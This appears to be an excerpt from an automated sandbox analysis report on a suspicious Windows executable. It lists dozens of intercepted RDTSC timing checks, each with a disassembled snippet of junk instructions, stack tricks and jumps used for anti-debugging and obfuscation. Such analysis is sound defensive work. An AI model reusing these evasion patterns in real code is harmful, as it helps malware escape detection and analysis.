Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9C2827 second address: 9C282B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9C282B second address: 9C282F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9C385D second address: 9C3867 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F7F91348E26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9C3066 second address: 9C306B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9C3867 second address: 9C3876 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9C416B second address: 9C416F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9C416F second address: 9C4179 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 986826 second address: 986859 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F7F9153F87Dh 0x00000008 jo 00007F7F9153F876h 0x0000000e push eax 0x0000000f pop eax 0x00000010 popad 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F7F9153F884h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9C4179 second address: 9C417D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 986859 second address: 98685D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 98685D second address: 986867 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 986867 second address: 986879 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F9153F87Ch 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9CA241 second address: 9CA267 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007F7F91348E28h 0x0000000c jmp 00007F7F91348E34h 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9CA267 second address: 9CA26B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9CDB9C second address: 9CDBCD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F91348E38h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jne 00007F7F91348E26h 0x00000010 jns 00007F7F91348E26h 0x00000016 popad 0x00000017 popad 0x00000018 push eax 0x00000019 push eax 0x0000001a push edx 0x0000001b push esi 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9CDBCD second address: 9CDBD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9C7660 second address: 9C7667 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9CFA3D second address: 9CFA47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9D0A95 second address: 9D0AA4 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F7F91348E26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9D0AA4 second address: 9D0B4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 jne 00007F7F9153F88Ch 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push esi 0x00000011 call 00007F7F9153F878h 0x00000016 pop esi 0x00000017 mov dword ptr [esp+04h], esi 0x0000001b add dword ptr [esp+04h], 0000001Dh 0x00000023 inc esi 0x00000024 push esi 0x00000025 ret 0x00000026 pop esi 0x00000027 ret 0x00000028 and edi, 0B09FF58h 0x0000002e push 00000000h 0x00000030 push 00000000h 0x00000032 push eax 0x00000033 call 00007F7F9153F878h 0x00000038 pop eax 0x00000039 mov dword ptr [esp+04h], eax 0x0000003d add dword ptr [esp+04h], 00000019h 0x00000045 inc eax 0x00000046 push eax 0x00000047 ret 0x00000048 pop eax 0x00000049 ret 0x0000004a mov ebx, dword ptr [ebp+12448B93h] 0x00000050 push 00000000h 0x00000052 jnl 00007F7F9153F889h 0x00000058 xchg eax, esi 0x00000059 jnc 00007F7F9153F880h 0x0000005f push eax 0x00000060 push eax 0x00000061 push edx 0x00000062 push eax 0x00000063 push edx 0x00000064 pushad 0x00000065 popad 0x00000066 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9D0B4F second address: 9D0B53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9D0B53 second address: 9D0B59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9D2B09 second address: 9D2B12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9D4B79 second address: 9D4B7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9D4B7D second address: 9D4B8E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jc 00007F7F91348E26h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9D4B8E second address: 9D4B94 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9D4B94 second address: 9D4B99 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9D4B99 second address: 9D4B9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9CCD76 second address: 9CCE2E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 jmp 00007F7F91348E2Eh 0x0000000c pop ebx 0x0000000d popad 0x0000000e push eax 0x0000000f jnl 00007F7F91348E33h 0x00000015 nop 0x00000016 mov dword ptr [ebp+12448B93h], edi 0x0000001c push dword ptr fs:[00000000h] 0x00000023 mov dword ptr [ebp+122D1A9Ch], edi 0x00000029 mov dword ptr fs:[00000000h], esp 0x00000030 push 00000000h 0x00000032 push ecx 0x00000033 call 00007F7F91348E28h 0x00000038 pop ecx 0x00000039 mov dword ptr [esp+04h], ecx 0x0000003d add dword ptr [esp+04h], 00000015h 0x00000045 inc ecx 0x00000046 push ecx 0x00000047 ret 0x00000048 pop ecx 0x00000049 ret 0x0000004a sub dword ptr [ebp+12444A5Ch], esi 0x00000050 mov eax, dword ptr [ebp+122D0A45h] 0x00000056 push 00000000h 0x00000058 push esi 0x00000059 call 00007F7F91348E28h 0x0000005e pop esi 0x0000005f mov dword ptr [esp+04h], esi 0x00000063 add dword ptr [esp+04h], 0000001Ch 0x0000006b inc esi 0x0000006c push esi 0x0000006d ret 0x0000006e pop esi 0x0000006f ret 0x00000070 mov dword ptr [ebp+122D1BBAh], ebx 0x00000076 jnl 00007F7F91348E2Ch 0x0000007c push FFFFFFFFh 0x0000007e mov bl, ch 0x00000080 push eax 0x00000081 jbe 00007F7F91348E34h 0x00000087 push eax 0x00000088 push edx 0x00000089 jnp 00007F7F91348E26h 0x0000008f rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9D8B2E second address: 9D8B34 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9D8B34 second address: 9D8B50 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7F91348E38h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9DACBF second address: 9DACC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9DAD73 second address: 9DAD78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9CDCF5 second address: 9CDD12 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F9153F882h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9DBCF7 second address: 9DBD2F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F7F91348E2Fh 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e pushad 0x0000000f jng 00007F7F91348E36h 0x00000015 jmp 00007F7F91348E30h 0x0000001a pushad 0x0000001b jp 00007F7F91348E26h 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9CDD12 second address: 9CDD16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9CDD16 second address: 9CDD1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9CDD1C second address: 9CDD22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9CDD22 second address: 9CDD26 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9CDD26 second address: 9CDDD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push ecx 0x0000000c call 00007F7F9153F878h 0x00000011 pop ecx 0x00000012 mov dword ptr [esp+04h], ecx 0x00000016 add dword ptr [esp+04h], 0000001Dh 0x0000001e inc ecx 0x0000001f push ecx 0x00000020 ret 0x00000021 pop ecx 0x00000022 ret 0x00000023 mov dword ptr [ebp+12473E9Dh], ecx 0x00000029 push dword ptr fs:[00000000h] 0x00000030 mov dword ptr [ebp+12444A62h], esi 0x00000036 sub di, 41DFh 0x0000003b mov dword ptr fs:[00000000h], esp 0x00000042 mov dword ptr [ebp+12448B93h], edx 0x00000048 mov eax, dword ptr [ebp+122D0571h] 0x0000004e push 00000000h 0x00000050 push ebp 0x00000051 call 00007F7F9153F878h 0x00000056 pop ebp 0x00000057 mov dword ptr [esp+04h], ebp 0x0000005b add dword ptr [esp+04h], 0000001Bh 0x00000063 inc ebp 0x00000064 push ebp 0x00000065 ret 0x00000066 pop ebp 0x00000067 ret 0x00000068 push FFFFFFFFh 0x0000006a sbb ebx, 28C236D4h 0x00000070 nop 0x00000071 jnc 00007F7F9153F891h 0x00000077 push eax 0x00000078 push esi 0x00000079 push eax 0x0000007a push edx 0x0000007b push eax 0x0000007c push edx 0x0000007d rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9CDDD2 second address: 9CDDD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9D2C74 second address: 9D2C78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9D2C78 second address: 9D2C7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9D2C7C second address: 9D2C82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9D5D3D second address: 9D5D43 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9D7C44 second address: 9D7C48 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9D7C48 second address: 9D7C6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F7F91348E39h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9D8D22 second address: 9D8D42 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F9153F881h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jne 00007F7F9153F878h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9DAF8D second address: 9DAF91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9DBF40 second address: 9DBF44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9DBF44 second address: 9DBF48 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9DF68D second address: 9DF695 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9E5560 second address: 9E5585 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jmp 00007F7F91348E37h 0x0000000c jnp 00007F7F91348E26h 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9E4F39 second address: 9E4F58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pushad 0x0000000a jng 00007F7F9153F876h 0x00000010 jmp 00007F7F9153F87Dh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9E9927 second address: 9E992D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 981938 second address: 98193D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 98193D second address: 98195D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F7F91348E26h 0x0000000a jmp 00007F7F91348E34h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9EFBCB second address: 9EFBDB instructions: 0x00000000 rdtsc 0x00000002 jl 00007F7F9153F882h 0x00000008 jl 00007F7F9153F876h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9F0277 second address: 9F027B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9F027B second address: 9F0281 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9F03EA second address: 9F03F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9F03F1 second address: 9F03F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9F06AA second address: 9F06D1 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F7F91348E26h 0x00000008 jmp 00007F7F91348E39h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9F06D1 second address: 9F06D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9F06D5 second address: 9F06D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9F06D9 second address: 9F06E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9F06E2 second address: 9F06FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F7F91348E26h 0x0000000a pop edx 0x0000000b js 00007F7F91348E32h 0x00000011 jnc 00007F7F91348E26h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9F080C second address: 9F0820 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 jng 00007F7F9153F876h 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e jp 00007F7F9153F876h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9F0820 second address: 9F083A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F7F91348E30h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9F41C9 second address: 9F41E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7F9153F888h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9F41E5 second address: 9F41E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9F41E9 second address: 9F4206 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F7F9153F885h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9F4206 second address: 9F4210 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F7F91348E26h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9F4210 second address: 9F422A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F7F9153F87Fh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9F422A second address: 9F422E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9F422E second address: 9F4232 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9CACF9 second address: 9AA9BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 jmp 00007F7F91348E30h 0x0000000d jp 00007F7F91348E26h 0x00000013 popad 0x00000014 pop edx 0x00000015 nop 0x00000016 movzx edi, cx 0x00000019 call dword ptr [ebp+122D5436h] 0x0000001f pushad 0x00000020 push ebx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9CB270 second address: 9CB274 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9CB3C6 second address: 9CB3E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F7F91348E37h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9CB3E6 second address: 9CB3FB instructions: 0x00000000 rdtsc 0x00000002 jo 00007F7F9153F878h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9CB3FB second address: 9CB406 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edx 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9CB4DA second address: 9CB4DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9CB4DE second address: 9CB4E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9CB4E4 second address: 9CB4EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 9CB518 second address: 9CB53D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F91348E39h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
